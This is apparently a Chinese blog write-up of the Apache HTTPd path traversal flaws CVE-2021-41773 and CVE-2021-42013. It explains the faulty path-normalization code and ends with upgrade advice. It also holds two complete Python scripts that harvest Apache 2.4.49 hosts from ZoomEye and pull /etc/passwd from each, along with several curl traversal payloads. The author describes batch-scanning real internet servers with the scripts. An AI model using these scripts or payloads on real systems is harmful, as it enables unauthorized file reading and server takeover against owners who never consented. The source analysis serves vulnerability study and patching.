CVE-2021-41773
漏洞描述
Apache HTTPd是Apache基金会开源的一款流行的HTTP服务器。2021年10月6日Apache HTTPd官方发布安全更新,披露了CVE-2021-41773 Apache HTTPd 2.4.49 路径穿越漏洞。
在其2.4.49版本中,引入了一个路径穿越漏洞。在路径穿越目录允许被访问的的情况下,例如配置了 <Directory />Require all granted</Directory>,攻击者可利用该路径穿越漏洞读取到Web目录之外的其他文件。同时若Apache HTTPd开启了cgi支持,攻击者可构造恶意请求执行命令,控制服务器。
结合Zoomeye利用任意文件读取
早上八点美滋滋的从美梦中醒来,看到群友发的推特图片
看了一下是Apache好家伙,攻击范围这么大,爬起来先折腾了一下漏洞的批量脚本,根据推特上泄露的信息以及Github放出的部分POC,收集一下已知信息:
- poc:”http://” + ip + “/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\n”,可以实现任意文件读
- 版本仅限Apache2.4.49
基于/etc/passwd的探测,结合zoomeye-python的探测,可以实现批量收集IP利用。
文章涉及POC仅限学习研究使用,请勿用于非法用途
import urllib.request
import sys
import zoomeye.sdk as zoomeye
if __name__ == "__main__":
zm = zoomeye.ZoomEye()
zm.username = 'username'
zm.password = 'password'
print(zm.login())
data = zm.dork_search("Server: Apache/2.4.49")
for i in data:
ip = i.get('ip')
url = "http://" + ip + "/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\n"
req = urllib.request.Request(url)
try:
res = urllib.request.urlopen(req, timeout=5)
if res.status == 200:
text = res.read().decode('utf-8')
if 'root:' in text:
print('[+]Server %s IS VULNERABLE' % ip)
print("The output is:\n\n" + text)
else:
print('[-]Server %s IS NOT VULNERABLE' % ip)
except:
print('[-]Server %s IS NOT VULNERABLE' % ip)
然后发现Zoomeye实现的搜索似乎有点问题,搜到的似乎并不完全是Apache,于是找到了API接口,用了另一种不需要认证的探测,当然由于没有登录,限制了查询数量:
import urllib.request
import requests
import sys
import json
if __name__ == "__main__":
req = requests.get("https://www.zoomeye.org/search?q=%22Server%3A%20Apache%2F2.4.49%22&page=1&pageSize=20&t=host")
ipList = list(json.loads(req.text).get('ips'))
for ip in ipList:
url = "http://" + ip + "/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\n"
req = urllib.request.Request(url)
try:
res = urllib.request.urlopen(req, timeout=5)
if res.status == 200:
text = res.read().decode('utf-8')
if 'root:' in text:
print('[+]Server %s IS VULNERABLE' % ip)
print("The output is:\n\n" + text)
else:
print('[-]Server %s IS NOT VULNERABLE' % ip)
except:
print('[-]Server %s IS NOT VULNERABLE' % ip)
批量检测
薅完这些就中午了,先吃饭去了。
漏洞原理
compare后2.4.50和2.4.49添加了一处if,文字说明:
/* Remove /xx/../ segments (or /xx/.%2e/ when
* AP_NORMALIZE_DECODE_UNRESERVED is set since we
* decoded only the first dot above).
*/
2.4.49源码:
/*
* Inspired by mod_jk's jk_servlet_normalize().
*/
AP_DECLARE(int) ap_normalize_path(char *path, unsigned int flags)
{
int ret = 1;
apr_size_t l = 1, w = 1;
if (!IS_SLASH(path[0])) {
/* Besides "OPTIONS *", a request-target should start with '/'
* per RFC 7230 section 5.3, so anything else is invalid.
*/
if (path[0] == '*' && path[1] == '\0') {
return 1;
}
/* However, AP_NORMALIZE_ALLOW_RELATIVE can be used to bypass
* this restriction (e.g. for subrequest file lookups).
*/
if (!(flags & AP_NORMALIZE_ALLOW_RELATIVE) || path[0] == '\0') {
return 0;
}
l = w = 0;
}
while (path[l] != '\0') {
/* RFC-3986 section 2.3:
* For consistency, percent-encoded octets in the ranges of
* ALPHA (%41-%5A and %61-%7A), DIGIT (%30-%39), hyphen (%2D),
* period (%2E), underscore (%5F), or tilde (%7E) should [...]
* be decoded to their corresponding unreserved characters by
* URI normalizers.
*/
if ((flags & AP_NORMALIZE_DECODE_UNRESERVED)
&& path[l] == '%' && apr_isxdigit(path[l + 1])
&& apr_isxdigit(path[l + 2])) {
const char c = x2c(&path[l + 1]);
if (apr_isalnum(c) || (c && strchr("-._~", c))) {
/* Replace last char and fall through as the current
* read position */
l += 2;
path[l] = c;
}
}
if ((flags & AP_NORMALIZE_DROP_PARAMETERS) && path[l] == ';') {
do {
l++;
} while (!IS_SLASH_OR_NUL(path[l]));
continue;
}
if (w == 0 || IS_SLASH(path[w - 1])) {
/* Collapse ///// sequences to / */
if ((flags & AP_NORMALIZE_MERGE_SLASHES) && IS_SLASH(path[l])) {
do {
l++;
} while (IS_SLASH(path[l]));
continue;
}
if (path[l] == '.') {
/* Remove /./ segments */
if (IS_SLASH_OR_NUL(path[l + 1])) {
l++;
if (path[l]) {
l++;
}
continue;
}
/* Remove /xx/../ segments */
if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
/* Wind w back to remove the previous segment */
if (w > 1) {
do {
w--;
} while (w && !IS_SLASH(path[w - 1]));
}
else {
/* Already at root, ignore and return a failure
* if asked to.
*/
if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
ret = 0;
}
}
/* Move l forward to the next segment */
l += 2;
if (path[l]) {
l++;
}
continue;
}
}
}
path[w++] = path[l++];
}
path[w] = '\0';
return ret;
}
在审计这段代码前先看一下该文件已经做出的一些定义,ISLASH主要是根据操作系统来定义url的分隔符:
#ifdef CASE_BLIND_FILESYSTEM
#define IS_SLASH(s) ((s == '/') || (s == '\\'))
#define SLASHES "/\\"
#else
#define IS_SLASH(s) (s == '/')
#define SLASHES "/"
#endif
以及IS_SLASH_OR_NUL(s),除了SLASH的情况外额外增加了NULL
#define IS_SLASH_OR_NUL(s) (s == '\0' || IS_SLASH(s))
审计代码,首先进入if分支,如果path[l]
为.
,且path[l + 1]
为/
或空,则进行移除。这部分主要是移除了/./
或/.
格式的路径。
/* Remove /./ segments */
if (IS_SLASH_OR_NUL(path[l + 1])) {
l++;
if (path[l]) {
l++;
}
continue;
}
接着往后,此时判断path[l + 1]
是否为.
且path[i + 2]
是否为/
或空,这部分移除了/../
格式的路径。
/* Remove /xx/../ segments */
if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
/* Wind w back to remove the previous segment */
if (w > 1) {
do {
w--;
} while (w && !IS_SLASH(path[w - 1]));
}
else {
/* Already at root, ignore and return a failure
* if asked to.
*/
if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
ret = 0;
}
}
/* Move l forward to the next segment */
l += 2;
if (path[l]) {
l++;
}
continue;
}
而漏洞点就在这里,当path[i + 1]
的参数进行url编码时,拿到的数据进行了偏移,开发者预想拿到的数据
path[l] = "%2e" | "."
path[l + 1] = "%2e" | "."
但是实际上经过编码后,读取到的数据不再占用一个字符,而是三个字符
path[l + 1] = "%"
path[l + 2] = "2"
path[l + 3] = "e" | "E"
从而绕过了对url的检测,不经过move后的url经过拼接后穿越了目录,实现了任意文件读取。
回到2.4.50,进行了更新添加了新的if分支条件
而2.4.49前的Apache Httpd没有ap_normalize_path函数,所以也不存在该漏洞
RCE
若Apache HTTPd开启了cgi支持,攻击者可构造恶意请求执行命令,控制服务器。
CVE-2021-42013
漏洞描述
此漏洞由Apache HTTP Server 2.4.49引入,但由于 2.4.50 版本中对 CVE-2021-41773 的修复不够充分,因而此漏洞影响 2.4.49 和 2.4.50 版本。2.4.50并未完全修复漏洞,在2.4.50版本中仍存在目录穿越漏洞。
poc
curl http://<host>:<Port>/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
curl http://<host>:<Port>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
curl http://<host>:<Port>/cgi-bin/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd
curl http://<host>:<Port>/cgi-bin/.%2%65/.%2%65/.%2%65/.%2%65/etc/passwd
可以看到绕过方式是对2或e进行二次url编码。在处理外部HTTP请求时,会调用 ap_process_request_internal
函数对url路径进行处理,在该函数中,首先会调用ap_normalize_path
函数进行一次url解码,之后会调用ap_unescape_url
函数进行二次解码。
修复建议
1、若非2.4.49-2.4.50版本,可不升级。
2、升级至 2.4.51及其以上版本。
参考
payload的实现来自于Github